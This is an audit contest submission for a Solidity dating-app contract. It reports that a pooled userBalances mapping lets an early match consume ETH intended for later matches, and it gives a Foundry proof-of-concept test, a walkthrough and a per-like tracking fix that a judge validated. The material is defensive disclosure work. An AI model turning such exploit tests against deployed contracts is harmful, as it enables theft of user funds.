DatingDapp

First Flight #33
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: medium
Valid

Pooled Balance Vulnerability Allows Early Matches to Steal ETH From Later Matches

Description:


The LikeRegistry contract contains a critical vulnerability in its balance tracking mechanism. The contract uses a single userBalances mapping to track all ETH sent by a user across all their likes, rather than tracking balances per-like. When a match occurs, the contract uses the sender's entire pooled balance rather than just the amount associated with the specific match.

This means when a user sends ETH to like multiple users, an early match can drain ETH that was intended for other potential matches, essentially "stealing" funds that were meant for later matches.

Impact:
HIGH - The vulnerability directly leads to loss of user funds and breaks the core matching mechanism of the protocol. It allows:

  • Early matches to claim more ETH than they should be entitled to

  • Later matches to receive less ETH than users intended

  • Potential denial of service as users' intended matches cannot be properly funded

  • Breaking of user expectations and trust in the protocol

Proof of Code:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "../src/LikeRegistry.sol";
import "../src/SoulboundProfileNFT.sol";
import "src/MultiSig.sol";
contract LikeRegistryTest is Test {
LikeRegistry public likeRegistry;
SoulboundProfileNFT public profileNFT;
address alice = address(0x1);
address bob = address(0x2);
address carol = address(0x3);
address charlie = address(0x4);
function setUp() public {
// Deploy ProfileNFT first
profileNFT = new SoulboundProfileNFT();
// Deploy LikeRegistry with ProfileNFT address
likeRegistry = new LikeRegistry(address(profileNFT));
// Mint profile NFTs for test users
vm.startPrank(alice);
profileNFT.mintProfile("Alice", 25, "ipfs://alice");
vm.stopPrank();
vm.startPrank(bob);
profileNFT.mintProfile("Bob", 28, "ipfs://bob");
vm.stopPrank();
vm.startPrank(carol);
profileNFT.mintProfile("Carol", 24, "ipfs://carol");
vm.stopPrank();
// Fund test accounts
vm.deal(alice, 10 ether);
vm.deal(bob, 10 ether);
vm.deal(carol, 10 ether);
}
function testExploitPooledBalancesVulnerability() public {
// Initial likes
vm.startPrank(alice);
likeRegistry.likeUser{value: 2 ether}(bob); // Like Bob with 2 ETH
likeRegistry.likeUser{value: 3 ether}(carol); // Like Carol with 3 ETH
vm.stopPrank();
// Verify initial state
assertEq(address(likeRegistry).balance, 5 ether, "Contract should have Alice's 5 ETH");
// Bob likes Alice, which will trigger a match
vm.startPrank(bob);
likeRegistry.likeUser{value: 1 ether}(alice);
vm.stopPrank();
// Due to the vulnerability, ALL of Alice's ETH (5 ETH) + Bob's ETH (1 ETH) = 6 ETH total
// remains in the contract because userBalances was drained
assertEq(address(likeRegistry).balance, 6 ether, "Contract should have all 6 ETH");
// Now Carol likes Alice
vm.startPrank(carol);
likeRegistry.likeUser{value: 2 ether}(alice);
vm.stopPrank();
// Verify that Carol's match with Alice can't access the ETH Alice originally sent
// Even though Alice sent 3 ETH when liking Carol, it was already counted in Bob's match
assertEq(address(likeRegistry).balance, 8 ether, "Contract should now have 8 ETH total");
// We can verify the drained balance
assertEq(likeRegistry.userBalances(alice), 0, "Alice's balance was drained in Bob match");
// The vulnerability means Alice's 3 ETH intended for Carol was used in Bob's match instead
// This leaves Carol's potential match with Alice missing the funds Alice intended for it
}

Proof of Concept:


Here's a step-by-step walkthrough of how the vulnerability can be exploited:

  1. Alice sends multiple likes:

// Alice likes Bob with 2 ETH
alice.likeUser{value: 2 ETH}(bob);
// userBalances[alice] = 2 ETH
// Alice likes Carol with 3 ETH
alice.likeUser{value: 3 ETH}(carol);
// userBalances[alice] = 5 ETH (pooled together)
  1. Bob triggers an early match:

// Bob likes Alice with 1 ETH
bob.likeUser{value: 1 ETH}(alice);
  1. The match calculation in matchRewards uses ALL of Alice's balance:

uint256 matchUserOne = userBalances[from]; // Gets all 5 ETH
uint256 matchUserTwo = userBalances[to]; // Gets Bob's 1 ETH
uint256 totalRewards = matchUserOne + matchUserTwo; // 6 ETH total
  1. When Carol later matches with Alice:

// Carol likes Alice
carol.likeUser{value: 2 ETH}(alice);
// But Alice's 3 ETH intended for Carol is gone
// userBalances[alice] = 0

The match with Carol can't access the 3 ETH Alice originally intended, as it was drained in the match with Bob.

Recommended Mitigation:


Replace the single userBalances mapping with a per-like balance tracking system:

struct Like {
bool exists;
uint256 amount;
uint256 timestamp;
}
mapping(address => mapping(address => Like)) public likes;

This ensures that:

  1. Each like's ETH is tracked separately

  2. Matches only use the ETH associated with that specific pair of likes

  3. Early matches cannot drain ETH intended for other potential matches

Additionally:

  • Add explicit balance tracking per like/match pair

  • Clear balances after successful matches

  • Add events for balance updates and tracking

  • Consider adding a mechanism to allow users to update or withdraw unmatched like amounts

This change maintains the integrity of the matching system and ensures user funds are used as intended.

Updates

Appeal created

n0kto Lead Judge 5 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding_several_match_lead_to_multisig_with_no_funds

Likelihood: Medium, if anyone has 2 matches or more before reliking. Impact: Medium, the user won't contribute to the wallet.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.